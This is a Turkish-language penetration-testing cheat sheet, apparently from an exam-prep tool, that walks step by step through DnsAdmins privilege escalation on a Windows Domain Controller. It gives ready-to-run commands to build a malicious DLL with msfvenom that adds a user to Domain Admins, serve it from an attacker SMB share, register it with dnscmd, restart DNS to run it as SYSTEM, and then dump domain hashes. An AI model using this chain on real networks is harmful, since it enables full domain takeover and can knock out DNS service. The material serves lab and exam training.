FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta :53:135:389:445

DnsAdmins Grup Yetki Yükseltme (ServerLevelPluginDll - DC üzerinde SYSTEM)

DnsAdmins grubu üyeleri DNS servisini yönetebilir. dnscmd ile serverlevelplugindll parametresine UNC paylaşımındaki kötü amaçlı bir DLL yüklenir; DNS servisi (DC üzerinde dns.exe) yeniden başlatıldığında DLL SYSTEM olarak çalışır ve Domain Controller tam ele geçirilir.

Bilgi: ÖN KOŞULLAR
  • DnsAdmins grubunun bir üyesi olan domain kullanıcı kimlik bilgileri (USER/PASS veya NTHASH)
  • Hedef DNS sunucusu genellikle Domain Controller üzerindedir (DC_HOST)
  • DNS servisini restart edebilme yetkisi (DnsAdmins veya SeRestart/servis kontrol hakkı) ya da DC reboot beklemek
  • DLL'i barındıracak erişilebilir SMB paylaşımı (LHOST) veya yerel yol
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -d {{DOMAIN}} --query "(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)" "sAMAccountName"
LDAP üzerinden DnsAdmins grup üyeliğini doğrula (DN'i kendi domaininize göre düzenleyin) HackTricks - DnsAdmins Privilege Escalation
net ✓ EXAM-SAFE user
net group "DnsAdmins" /domain
Windows tarafında DnsAdmins üyelerini listele HackTricks - DnsAdmins
msfvenom ⚠ RESTRICTED
msfvenom -p windows/x64/exec CMD='net group "Domain Admins" {{USER}} /add /domain' -f dll -o /tmp/dns_plugin.dll
DNS servisi SYSTEM olarak yükleyince çalışacak kötü amaçlı DLL üret (örn: kullanıcıyı Domain Admins'e ekle) HackTricks - DnsAdmins (msfvenom DLL payload)
smbserver ✓ EXAM-SAFE
impacket-smbserver share /tmp/ -smb2support
DLL'i UNC üzerinden sunmak için SMB paylaşımı başlat (LHOST üzerinde \\{{LHOST}}\share\dns_plugin.dll) WADComs / Impacket smbserver
dnscmd ✓ EXAM-SAFE user
dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll
DNS sunucusuna kötü amaçlı plugin DLL yolunu tanımla (Windows tarafı, DnsAdmins yetkisiyle) HackTricks - DnsAdmins ServerLevelPluginDll
dnscmd ✓ EXAM-SAFE user
dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll /s
Uzaktan (kendi makinenizden) RSAT dnscmd ile plugin DLL ayarla The Hacker Recipes - DnsAdmins to DA
sc ✓ EXAM-SAFE user
sc.exe \\{{DC_HOST}} stop dns && sc.exe \\{{DC_HOST}} start dns
DNS servisini yeniden başlat - DLL bu anda dns.exe (SYSTEM) içinde yüklenir HackTricks - DnsAdmins (restart DNS service)
reg ✓ EXAM-SAFE user
reg query \\{{DC_HOST}}\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Plugin DLL ayarının registry'e yazıldığını doğrula (DC reboot ile de tetiklenir) HackTricks - DnsAdmins (registry persistence)
netexec ✓ EXAM-SAFE user
nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -d {{DOMAIN}} -x "net group 'Domain Admins'"
Saldırı sonrası USER hesabının Domain Admins'e eklendiğini doğrula (Pass-the-Hash da kullanılabilir) NetExec wiki - SMB command execution
dnscmd ✓ EXAM-SAFE user
dnscmd {{DC_HOST}} /config /serverlevelplugindll
TEMİZLİK: plugin DLL ayarını sıfırla / kaldır ve DNS servisini yeniden başlat HackTricks - DnsAdmins (cleanup)

DnsAdmins Nedir ve Neden Tehlikeli?

DnsAdmins, Active Directory’de DNS Server servisini yönetme yetkisi veren yerleşik bir gruptur. Windows DNS servisi (dns.exe) Domain Controller üzerinde SYSTEM olarak çalışır. DNS yönetim protokolü, bir DLL’in “serverlevelplugindll” olarak yüklenmesine izin verir; servis bu DLL’i başlangıçta yükler. Yani DNS yönetimi = DC üzerinde SYSTEM kod çalıştırma. Bu yüzden DnsAdmins üyeliği, neredeyse Domain Admin’e eşdeğer bir privesc primitive’idir.

1. Enum: Üyeliği Doğrula

Önce kontrol ettiğiniz hesabın gerçekten DnsAdmins üyesi olduğunu doğrulayın. net group "DnsAdmins" /domain ya da Linux tarafında netexec LDAP query / BloodHound (MemberOf -> DnsAdmins) kullanın. DNS sunucusu çoğunlukla DC üzerindedir, dolayısıyla DC_HOST = DNS sunucusu olur.

2. Kötü Amaçlı DLL Hazırla

Servis bu DLL’i SYSTEM olarak yükleyeceği için, DLL içine ayrıcalıklı bir komut gömün. Klasik yaklaşım kullanıcıyı Domain Admins grubuna eklemektir (net group "Domain Admins" {{USER}} /add /domain). msfvenom ile windows/x64/exec payload’lı bir DLL üretmek en hızlı yoldur. Not: Tam bir DNS plugin DLL’i tüm export’ları sağlamadığı için DNS servisini çökertebilir (DLL yüklenir ve komut çalışır ama servis crash olabilir) - lab/PG’de komut yine de çalışır.

3. DLL’i Eriş ilebilir Yap

DLL’i bir UNC yoluyla (SMB paylaşımı) sunmak en pratik yöntemdir: impacket-smbserver share /tmp/ -smb2support. Böylece \\{{LHOST}}\share\dns_plugin.dll yolu DC tarafından okunabilir. Alternatif olarak DLL’i DC üzerinde yerel bir yola da koyabilirsiniz.

4. Plugin DLL’i Tanımla

dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll komutu, DNS servisine bu DLL’i bir sonraki başlatmada yüklemesini söyler. Bu işlem aslında registry’de HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll değerini yazar. DnsAdmins üyeleri bu konfigürasyonu değiştirebildiği için yetki yeterlidir. RSAT yüklü herhangi bir makineden /s switch’i ile uzaktan da çalıştırılabilir.

5. Servisi Tetikle

DLL ancak DNS servisi yeniden başlatıldığında yüklenir: sc.exe \\{{DC_HOST}} stop dns && sc.exe \\{{DC_HOST}} start dns. DnsAdmins, varsayılan olarak DNS servisini durdurma/başlatma hakkına da sahip olabilir; değilse SeServiceLogon/servis kontrol hakkı gerekir ya da DC’nin yeniden başlatılmasını beklemeniz gerekir (registry’e yazıldığı için reboot sonrası da çalışır - bu aynı zamanda kalıcılık sağlar).

Sonuç ve Doğrulama

Servis yeniden başladığında DLL SYSTEM bağlamında yürütülür ve gömülü komut çalışır. nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'" ile hesabınızın eklendiğini doğrulayın; ardından DCSync (ad-dcsync) ile tüm domain hash’lerini çekebilirsiniz.

Gotchas

  • DLL bir gerçek DNS plugin export’u içermezse servis crash olur; komut çalışsa da servis down kalabilir. Üretim ortamında DNS kesintisi yaratır - dikkat.
  • UNC yolundan DLL çekiliyorsa SMB signing/firewall DC’nin LHOST’a ulaşmasını engelleyebilir.
  • Temizlik: İşiniz bitince dnscmd /config /serverlevelplugindll (boş değer) ile registry değerini temizleyin, aksi halde her DNS başlangıcında DLL aranır ve iz/kalıcılık bırakır.
┌──

Kaynaklar

0/15 set